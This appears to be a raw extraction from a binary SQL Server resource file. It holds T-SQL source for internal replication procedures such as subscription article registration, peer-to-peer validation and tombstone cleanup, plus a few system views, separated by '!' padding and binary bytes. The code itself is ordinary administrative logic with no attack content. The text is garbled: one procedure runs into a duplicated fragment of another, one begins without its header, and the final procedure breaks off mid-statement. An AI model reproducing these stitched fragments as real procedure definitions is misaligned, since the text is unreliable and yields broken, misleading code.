!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!HY	h,`<Z'-ظ0a 8create procedure sys.sp_MSaddsubscriptionarticles
(
    @publisher 		sysname,
    @publisher_db 	sysname,
    @publication	sysname,
    @artid			int,
    @article		sysname,
    @dest_table		sysname,
    @dest_owner		sysname
)
as
begin
	declare @retcode 	bit,
			@agent_id 	int,
			@object_id	int,
			@ident_col	sysname,
			@qualifiedname nvarchar(600)
	
	-- security check for subscriber
	exec @retcode = sys.sp_MSreplcheck_subscribe 
    if @@error <> 0 or @retcode <> 0 
    begin
        return 1
    end

	select @agent_id = id
		from MSsubscription_agents
		where publisher = @publisher
			and publisher_db = @publisher_db
			and publication = @publication
	if @@error <> 0
		or @agent_id is NULL
	begin
		-- Could not find a valid Agent Id for the subscription to Publisher @publisher, database @publisher_db, publication @publication.
		raiserror(21758, 16, -1, @publisher, @publisher_db, @publication)
		return 1
	end

	-- if the entry already exists then we will just exit
	-- note that we do not check the @artid... this is 
	-- because the value has no meaning to us and we only
	-- need to match on the article, object and agentid
	if exists (select * 
					from MSsubscription_articles
					where agent_id = @agent_id
			            and article = @article
			            and dest_table = @dest_table
			            and owner = @dest_owner)
	begin
		return 0
	end
	
	begin transaction tran_addsubscriparticles
	save transaction tran_addsubscriparticles
	
	insert into MSsubscription_articles
        (
            agent_id,	-- related entry in MSsubscription_agents
            artid,		-- article id
            article,	-- article name
            dest_table,	-- destination table
            owner		-- destination owner
        )
        values
        (
        	@agent_id,
			@artid,
		    @article,
		    @dest_table,
		    @dest_owner
        )
	if @@error <> 0
	begin
		-- The procedure sys.sp_MSaddsubscriptionarticles failed to INSERT into the resource MSsubscription_articles. Server error =  0.
		raiserror (21499, 16, -1, 'sys.sp_MSaddsubscriptionarticles', 'INSERT into', 'MSsubscription_articles.', @@error)
		goto FAILURE
	end

	select @qualifiedname = quotename(@dest_owner) + '.' + quotename(@dest_table)

	-- For user tables we will also want to set NFR for identity cols
	select @object_id = object_id(@qualifiedname, N'U')

	if @object_id is not NULL
	begin		
		select @ident_col = name
			from sys.columns 
			where object_id = @object_id 
				and ColumnProperty(object_id, name, 'IsIdentity') = 1
				and ColumnProperty(object_id, name, 'IsIdNotForRepl') =  0

		if @ident_col is not NULL
		begin
			
			exec %%Object(MultiName = @qualifiedname).LockMatchID(ID = @object_id, Exclusive = 1, BindInternal = 0)
			if (@@ERROR != 0)
				goto FAILURE

			exec %%ColumnEx(ObjectID = @object_id, Name = @ident_col).SetIdentityNotForRepl(Value = 1)
		end
	end
	
	commit transaction tran_addsubscriparticles
	
	return 0
FAILURE:
	rollback transaction tran_addsubscriparticles
	commit transaction tran_addsubscriparticles
	
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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`p</0W 8CREATE FUNCTION sys.dm_logpoolmgr_stats
	(
	@DatabaseId Int = 0
	)
RETURNS TABLE
as
	RETURN SELECT * FROM OpenRowset(TABLE DM_LOGPOOLMGR_STATS, @DatabaseId)
0FȾ@ 8create procedure sys.sp_MSreplcheck_subscribe_withddladmin
as
begin
    --
    -- Only the System Administratr (SA) or the Database Owner (dbo) 
    -- can subscribe from the subscribing database.
    --
    -- Do the sysadmin check first as it is 4 times more efficient
    -- than is_member call and reduces performance overhead in case 
    -- the user has sysadmin privileges
    --
    if  is_srvrolemember('sysadmin') = 1 or is_member ('db_owner') = 1         
        or is_member ('db_ddladmin') = 1
    begin
        return (0)
    end
    else
    begin
        raiserror (21551, 14, -1)
        return (1)
    end
end
0(2@ 	8--
-- Name: sp_MSisqueuereaderjobnamegenerated
--
-- Descriptions: This procedure checks whether a given job id corresponds to
--               a queuereader agent job with a name generated by replication. 
--               If so, a return value of zero will be returned, otherwise
--               a value of one will be returned to the caller.
-- 
-- Notes: 1) For this procedure to be effective, it must match the current
--           queuereader agent name generation algorithm. Note that the 
--           algorithm used for matching auto-generated job name is not 
--           exact. (See sp_MSadd_qreader_agent instdist.sql)
--        2) This procedure is supposed to be executed at the distributor.
--
-- Parameters: @job_id        uniqueidentifier
--
-- Returns: 0 - If the specified jobid corresponds to a queuereader job with
--              a generated name.
--          1 - Otherwise
--
-- Security: This is an internal system procedure.
--
create procedure sys.sp_MSisqueuereaderjobnamegenerated 
(
    @job_id uniqueidentifier
)
as
begin
    set nocount on

    declare @job_name sysname
    declare @generated_job_name nvarchar(4000)

    select @job_name = null
    select @job_name = name
      from msdb.dbo.sysjobs_view
     where job_id = @job_id
    
    -- Makes sure that the given job_id refers to an existing job
    if @job_name is null
    begin
        goto MISMATCH
    end

    -- Checks to make sure that the given job id corresponds to a queuereader
    -- job (i.e. it has a queue reader job step)
    if not exists (select * 
                     from msdb.dbo.sysjobsteps
                    where job_id = @job_id
                      and upper(subsystem collate SQL_Latin1_General_CP1_CS_AS) = N'QUEUEREADER')
    begin
        goto MISMATCH
    end

    -- QueueReader job name is generated based on the server name of 
    -- the distributor and the distribution database id. Here,
    -- we assume that this procedure is executed in the context of a
    -- distribution database so we can just use @@servername and
    -- db_name() to grab these two pieces of information

    select @generated_job_name = quotename(@@servername) + '.' + cast(db_id() as nvarchar)
    
    if UPPER(@job_name) = UPPER(@generated_job_name)
    begin    
        return 0
    end

MISMATCH:
    if @job_name is not null
    begin
        raiserror(21695, -1, -1, @job_name)
    end
    return 1
end
0L" *8
create procedure sys.sp_MSdroparticletombstones
    @artid      uniqueidentifier,
    @pubid      uniqueidentifier = null
as
    declare @progress_token nvarchar(500)
    declare @progress_token_hash int
    declare @session_token nvarchar(260)
    declare @retcode int
    
    -- Security Checking 
    -- PAL user access
    exec @retcode = sys.sp_MSrepl_PAL_rolecheck @pubid = @pubid, @artid = @artid
    if (@retcode <> 0) or (@@error <> 0)
        return 1

    if @pubid is not null -- Coming from a 9.0 agent
    begin
        if object_id('dbo.MSsnapshotdeliveryprogress', 'U') is not null
        begin    
            select @session_token = null,
                   @progress_token = N'<MergePubId>:' + convert(nvarchar(100), @pubid),
                   @progress_token_hash = sys.fn_repl32bitstringhash(@progress_token)
            -- Try to get the session token from the merge pubid
            select @session_token = session_token 
              from dbo.MSsnapshotdeliveryprogress
             where progress_token_hash = @progress_token_hash
               and progress_token = @progress_token
            if @session_token is not null
            begin
                select @progress_token = N'<DroppedArticleTombstones>:' + convert(nvarchar(100), @artid),
                       @progress_token_hash = sys.fn_repl32bitstringhash(@progress_token)
                if exists (select * from dbo.MSsnapshotdeliveryprogress
                            where session_token = @session_token
                              and progress_token_hash = @progress_token_hash
                              and progress_token = @progress_token)
                begin
                    -- Meta-data table had been cleaned up by an interrupted
                    -- snapshot session before, don't do it again
                    return (0)
                end
                else
                begin
                    exec @retcode = sys.sp_MSrecordsnapshotdeliveryprogress 
                            @snapshot_session_token = @session_token,
                            @snapshot_progress_token = @progress_token
                    if @@error <> 0 or @retcode <> 0 return (1)
                            
                end                
            end
        end
    end

    declare @tablenick int
    select @tablenick = nickname from dbo.sysmergearticles where artid = @artid
    if @tablenick is not null
    begin
        delete from dbo.MSmerge_tombstone where tablenick = @tablenick
        delete from dbo.MSmerge_current_partition_mappings where tablenick = @tablenick
        delete from dbo.MSmerge_past_partition_mappings where tablenick = @tablenick
        delete from dbo.MSmerge_contents where tablenick = @tablenick
        delete from dbo.MSmerge_generation_partition_mappings where generation in
            (select generation from dbo.MSmerge_genhistory where art_nick=@tablenick)
        delete from dbo.MSmerge_genhistory where art_nick=@tablenick
    end
    return (0)
                from msdb.dbo.sysjobsteps
                    where job_id = @job_id
                      and upper(subsystem collate SQL_Latin1_General_CP1_CS_AS) = N'QUEUEREADER')
    begin
        goto MISMATCH
    end

    -- QueueReader job name is generated based on the server name of 
    -- the distributor and the distribution database id. Here,
    -- we assume that this procedure is executed in the context of a
    -- distribution database so we can just use @@servername and
    -- db_name() to grab these two pieces of information

    select @generated_job_name = quotename(@@servername) + '.' + cast(db_id() as nvarchar)
    
    if UPPER(@job_name) = UPPER(@generated_job_name)
    begin    
        return 0
    end

MISMATCH:
    if @job_name is not null
    begin
        raiserror(21695, -1, -1, @job_name)
    end
    return 1
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
$`<Nf)ųmb0޻ 8CREATE PROCEDURE sys.sp_MSvalidatepeertopeerarticles
(
	@publication sysname
)
AS
BEGIN
	DECLARE @retcode 			bit,
			@publisher 			sysname,
		    @publisher_db 		sysname,
		    @msg_temp			sysname,
			@article			sysname,
			@pubid				int,
			@artid				int,
			@objid				int,			
			@status				int,
			@dest_owner			sysname,
			@dest_table			sysname,
			@filter				int,
			@filter_clause		nvarchar(max),
			@type				tinyint,
			@schema_option		binary(8),
			@ins_cmd			nvarchar(255),
			@upd_cmd			nvarchar(255),
			@del_cmd			nvarchar(255)
			
	SELECT @publisher		= publishingservername(),
		    @publisher_db	= DB_NAME()

	DECLARE #validatepeerarts CURSOR LOCAL FAST_FORWARD FOR
		SELECT sa.pubid,
				ISNULL(sa.name, N''),
				sa.artid,
				sa.objid,
				sa.status,
				ISNULL(sa.dest_owner,  SCHEMA_NAME(OBJECTPROPERTY(sa.objid, 'SchemaId'))),
				ISNULL(sa.dest_table, OBJECT_NAME(sa.objid)),
				ISNULL(sa.filter, 0),
				ISNULL(sa.filter_clause, N''),
				sa.type,
				sa.schema_option,
				ISNULL(sa.ins_cmd, N''),
				ISNULL(sa.upd_cmd, N''),
				ISNULL(sa.del_cmd, N'')
			FROM syspublications sp
				JOIN sysextendedarticlesview sa
					ON sp.pubid = sa.pubid
			WHERE sp.name = @publication
	
	OPEN #validatepeerarts 

	FETCH #validatepeerarts INTO @pubid,
									@article, 
									@artid,
									@objid,
									@status,
									@dest_owner,
									@dest_table,
									@filter,
									@filter_clause,
									@type,
									@schema_option,
									@ins_cmd,
									@upd_cmd,
									@del_cmd

	WHILE @@FETCH_STATUS != -1
	BEGIN
		-- we only check these for table type articles...
		IF @type IN (1, 257)
		BEGIN
			-- Disable anything but parameterized statements for now...
			IF (@status & 16) != 16 
			BEGIN
				SELECT @msg_temp = CONVERT(nvarchar(100), @status)

				-- Peer-To-Peer publications only support a '%s' value of %s. Article '%s' currently has a '%s' value of '%s'. This value must be changed to continue.
				RAISERROR (21851, 16, -1, 'status', '''16'' (parameterized statements)', @article, 'status', @msg_temp)
				GOTO FAILURE
			END
			
			-- here we verify that there is no vertical filtering.
			-- note that we skip over the timestamp column since it may
			-- be replicated as timestamp (this will be checked below)
			IF EXISTS (SELECT *
						FROM sys.columns 
						WHERE object_id = @objid
							AND system_type_id != TYPE_ID(N'timestamp') 
							AND column_id NOT IN (SELECT colid
													FROM sysarticlecolumns
													WHERE artid = @artid))
			BEGIN
				-- Peer-To-Peer publications do not support %s. Article '%s' currently has %s. This must be changed to continue.
				RAISERROR(21852, 16, -1, 'vertical filtering', @article, 'vertical filtering enabled')
				GOTO FAILURE
			END

			-- Only allow manual identity ranges
			IF @objid in (SELECT objid
							FROM MSpub_identity_range)
				OR EXISTS(SELECT *
							FROM sysarticleupdates
							WHERE pubid = @pubid
								AND artid = @artid
								AND identity_support = 1)
			BEGIN
				-- Peer-To-Peer publications do not support %s. Article '%s' currently has %s. This must be changed to continue.
				RAISERROR(21852, 16, -1, 'auto identity range management', @article, 'auto identity range managment enabled')
				GOTO FAILURE
			END

			-- check the 'none' auto-identity range management option
			IF EXISTS(SELECT *
						FROM sysarticles as sysa
							JOIN sys.columns as syscol
								ON sysa.objid = syscol.object_id
						WHERE syscol.object_id = @objid
							AND syscol.is_identity = 1
							AND NOT (CONVERT(int, sysa.schema_option) & 0x4 = 0x4
								AND ColumnProperty(syscol.object_id, syscol.name, N'IsIdNotForRepl') = 1))
			BEGIN
				-- Peer-To-Peer publications do not support %s. Article '%s' currently has %s. This must be changed to continue.
				RAISERROR(21852, 16, -1, '''none'' for the identity range management', @article, '''none'' set for the identity range managment')
				GOTO FAILURE
			END
		END
		
		-- Disallow any type of dest owner/object name change...
		IF @dest_table != N''
			AND @dest_table != OBJECT_NAME(@objid)
		BEGIN
			-- Peer-To-Peer publications do not support %s. Article '%s' currently has %s. This must be changed to continue.
			RAISERROR(21852, 16, -1, 'destination object name changes', @article, 'different source and destination object names')
			GOTO FAILURE
		END

		IF @dest_owner != N''
			AND @dest_owner != SCHEMA_NAME(OBJECTPROPERTY(@objid, 'SchemaId'))
		BEGIN
			-- Peer-To-Peer publications do not support %s. Article '%s' currently has %s. This must be changed to continue.
			RAISERROR(21852, 16, -1, 'destination object owner name changes', @article, 'different source and destination object owner names')
			GOTO FAILURE
		END

		-- Ensure that we are not attempting to create an invalid
		-- Peer-To-Peer publication/subscription configuration...
		EXEC @retcode = sys.sp_MSdetectinvalidaddarticle @publication = @publication,
															@dest_table = @dest_table,
															@dest_owner = @dest_owner
		IF @@ERROR <> 0 OR @retcode <> 0
			GOTO FAILURE

		-- Disallow any type of filtering...
		IF @filter != 0
			OR @filter_clause != N''
			OR @type IN (3, 5, 7, 259, 261, 263)
		BEGIN
			-- Peer-To-Peer publications do not support %s. Article '%s' currently has %s. This must be changed to continue.
			RAISERROR(21852, 16, -1, 'horizontal filtering', @article, 'horizontal filtering enabled')
			GOTO FAILURE
		END

		-- Disallow any tables with timestamp
		IF ISNULL(OBJECTPROPERTY(@objid, 'TableHasTimestamp'), 0) = 1 
			AND (sys.fn_replgetbinary8lodword(@schema_option) & 0x8) = 0
		BEGIN
			-- Peer-To-Peer publications do not support replicating timestamp columns as varbinary(8). Adding an article with this option or adding/altering a table to include a timestamp column as varbinary(8) is not allowed.
			RAISERROR (21734, 16, -1)
			GOTO FAILURE
		END
		
		IF LEFT(UPPER(LTRIM(@ins_cmd)), 3) IN (N'SQL')
		BEGIN
			-- Peer-To-Peer publications do not support %s. Article '%s' currently has %s. This must be changed to continue.
			RAISERROR(21852, 16, -1, 'SQL command types', @article, 'an insert command type of SQL')
			GOTO FAILURE
		END

		IF LEFT(UPPER(LTRIM(@upd_cmd)), 3) IN (N'SQL')
		BEGIN
			-- Peer-To-Peer publications do not support %s. Article '%s' currently has %s. This must be changed to continue.
			RAISERROR(21852, 16, -1, 'SQL command types', @article, 'an update command type of SQL')
			GOTO FAILURE
		END

		IF LEFT(UPPER(LTRIM(@del_cmd)), 3) IN (N'SQL')
		BEGIN
			-- Peer-To-Peer publications do not support %s. Article '%s' currently has %s. This must be changed to continue.
			RAISERROR(21852, 16, -1, 'SQL command types', @article, 'a delete command type of SQL')
			GOTO FAILURE
		END
		
		FETCH #validatepeerarts INTO @pubid,
										@article, 
										@artid,
										@objid,
										@status,
										@dest_owner,
										@dest_table,
										@filter,
										@filter_clause,
										@type,
										@schema_option,
										@ins_cmd,
										@upd_cmd,
										@del_cmd
	END

	CLOSE #validatepeerarts
	DEALLOCATE #validatepeerarts
	

	RETURN 0
FAILURE:
	
	RETURN 1
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`p<;-NX0	^ 8create procedure sys.sp_MSdetectinvalidpeerconfiguration
(
    @publisher 		sysname,
    @publisher_db 	sysname,
    @publication	sysname
)
as
begin
	declare @OPT_ENABLED_FOR_P2P int
	
	declare @retcode 					bit,
			@agent_id 					int,
			@subscriber					sysname,
			@subscriber_db				sysname,
			@subscriber_publication		sysname,
			@subscriber_article_count	int,
			@publisher_article_count	int,
			@matching_article_count		int

	select @OPT_ENABLED_FOR_P2P = 0x1

	select @subscriber		= @@SERVERNAME,
			@subscriber_db 	= db_name()
	
	-- security check for subscriber
	exec @retcode = sys.sp_MSreplcheck_subscribe 
    if @@error <> 0 or  @retcode <> 0 
    begin
        return 1
    end

	-- if this not a republisher then we can just exit
	if sys.fn_MSrepl_istranpublished(db_name(),0) = 0
    begin
    	return 0
    end
    
	select @agent_id = id
		from MSsubscription_agents
		where publisher = @publisher
			and publisher_db = @publisher_db
			and publication = @publication
	if @@error <> 0
		or @agent_id is NULL
	begin
		-- Could not find a valid Agent Id for the subscription to Publisher @publisher, database @publisher_db, publication @publication.
		raiserror(21758, 16, -1, @publisher, @publisher_db, @publication)
		return 1
	end

	-- if this subscriber (republisher) has any articles that are in a 
	-- different P2P publication but are shared with this subscription then
	-- this is an invalid configuration and we must raise an error to bail
	select @subscriber_publication = sp.name
		from MSsubscription_articles mssa
			join sysextendedarticlesview sa
				on mssa.dest_table = sa.dest_table
					and isnull(mssa.owner, N'dbo') = isnull(sa.dest_owner, N'dbo')
			join syspublications sp
				on sa.pubid = sp.pubid
		where mssa.agent_id = @agent_id
			and sp.name != @publication
			and (sp.options & @OPT_ENABLED_FOR_P2P) = @OPT_ENABLED_FOR_P2P
			
	if @subscriber_publication is not NULL
	begin
		-- Peer-To-Peer topologies require identical publication names on each publisher. The distribution agent for publication [@publisher].[@publisher_db].[publication] is attempting to synchronize articles that exist in publication [@subscriber].[@subscriber_db].[publication].
		raiserror(20809, 16, -1, @publisher, @publisher_db, @publication, @subscriber, @subscriber_db, @subscriber_publication)
		return 1
	end

	-- if we do not find a publication by the name as @publication 
	-- then we can continue without error and without any warnings.
	if not exists(select *
					from syspublications
					where name = @publication
						and (options & @OPT_ENABLED_FOR_P2P) = @OPT_ENABLED_FOR_P2P)
	begin
		return 0
	end
	
	-- retrieve article counts for the following:
	--		1. Number of articles for the current subscription
	--		2. Number of articles for the local publication
	--		3. Number of articles that base objects match between sub/pub
	select @subscriber_article_count = count(artid)
			from MSsubscription_articles 		
			where agent_id = @agent_id

	select @publisher_article_count = count(sa.artid)  
			from syspublications sp
				join sysextendedarticlesview sa					
					on sa.pubid = sp.pubid
			where sp.name = @publication
				and (sp.options & @OPT_ENABLED_FOR_P2P) = @OPT_ENABLED_FOR_P2P

	select @matching_article_count = count(sa.artid)
			from syspublications sp
				join sysextendedarticlesview sa					
					on sa.pubid = sp.pubid
				join MSsubscription_articles mssa
					on mssa.dest_table = sa.dest_table
						and isnull(mssa.owner, N'dbo') = isnull(sa.dest_owner, N'dbo')
			where mssa.agent_id = @agent_id
				and sp.name = @publication
				and (sp.options & @OPT_ENABLED_FOR_P2P) = @OPT_ENABLED_FOR_P2P
			
	if @publisher_article_count != @matching_article_count
		or @subscriber_article_count != @matching_article_count
	begin
		-- Peer-To-Peer topologies require identical articles in publications at all nodes prior to synchronizing. Articles in publication [@publisher].[@publisher_db].[publication] do not match articles in [@subscriber].[@subscriber_db].[publication].
		raiserror(20803, 10, -1, @publisher, @publisher_db, @publication, @subscriber, @subscriber_db, @publication) with log
	end		
	
	return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`y	S<.9]~0| 8CREATE VIEW sys.dm_db_partition_stats AS
	SELECT c.partition_id, i.object_id, i.index_id, c.partition_number,
	c.in_row_data_page_count, c.in_row_used_page_count, c.in_row_reserved_page_count,
	c.lob_used_page_count, c.lob_reserved_page_count,
	c.row_overflow_used_page_count, c.row_overflow_reserved_page_count,
	c.used_page_count, c.reserved_page_count, c.row_count
	FROM sys.indexes$ i CROSS APPLY OpenRowSet(TABLE PARTITIONCOUNTS, i.object_id, i.index_id, i.rowset) c
0C}@ 8create view sys.trace_event_bindings as select * from OpenRowset(TABLE SYSTRACEEVENTBINDINGS)
0S~ P8h>R!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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
	@publisher		sysname
)
AS
BEGIN
    SET NOCOUNT ON

    /*
    ** Declarations.
    */

    DECLARE @pubid				int
    DECLARE @has_subscription	bit
    DECLARE @retcode			int
    DECLARE @publish_bit		int
    
    SELECT @publish_bit = 1

    /*
    ** Security Check
    */
    EXEC @retcode = sys.sp_MSreplcheck_publish
    IF @@ERROR <> 0 or @retcode <> 0
        return (1)
    

    -- Parameter Check:  @publisher
	IF @publisher IS NULL
	BEGIN
		RAISERROR (14043, 16, -1, '@publisher', 'sp_MSrepl_snapshot_helppublication')
		RETURN (1)
	END

    -- Parameter Check:  @publication
    IF @publication IS NULL
	BEGIN
		RAISERROR (14043, 16, -1, '@publication', 'sp_MSrepl_snapshot_helppublication')
		RETURN (1)
	END
    
	EXECUTE @retcode = dbo.sp_validname @publication
	IF @retcode <> 0
		RETURN (1)
	
	SELECT	'pubid'						= sp.pubid,
			'name'						= sp.name,
			'restricted'				= 0,
			'status'					= sp.status,
			-- using 'task' is for backward compatibilty
			'task'						= convert(int, 1),
			'replication frequency'		= sp.repl_freq,
			'synchronization method'	= sp.sync_method,
			'description'				= sp.description,
			'immediate_sync'			= sp.immediate_sync,
			'enabled_for_internet'		= sp.enabled_for_internet,
			'allow_push'				= sp.allow_push,
			'allow_pull'				= sp.allow_pull,
			'allow_anonymous'			= sp.allow_anonymous,
			'independent_agent'			= sp.independent_agent,
			'immediate_sync_ready'		= sp.immediate_sync_ready,
			-- SyncTran
			'allow_sync_tran'			= sp.allow_sync_tran,
			'autogen_sync_procs'		= sp.autogen_sync_procs,
			'snapshot_jobid'			= sp.snapshot_jobid,
			'retention'					= sp.retention,
			'has subscription'			= CASE WHEN EXISTS
											(
												SELECT	*
												FROM	IHsubscriptions
												WHERE	article_id IN 
            									(
            										SELECT	article_id
            										FROM	IHarticles
            										WHERE	publication_id = sp.pubid
            									)
            								)
											THEN 1 ELSE 0 END,
			'allow_queued_tran'			= sp.allow_queued_tran,
			-- Portable snapshot
			'snapshot_in_defaultfolder'	= sp.snapshot_in_defaultfolder,
			'alt_snapshot_folder'		= sp.alt_snapshot_folder,
			-- Pre/post-snapshot commands
			'pre_snapshot_script'		= sp.pre_snapshot_script,
			'post_snapshot_script'		= sp.post_snapshot_script,
			-- Snapshot compression
			'compress_snapshot'			= sp.compress_snapshot,
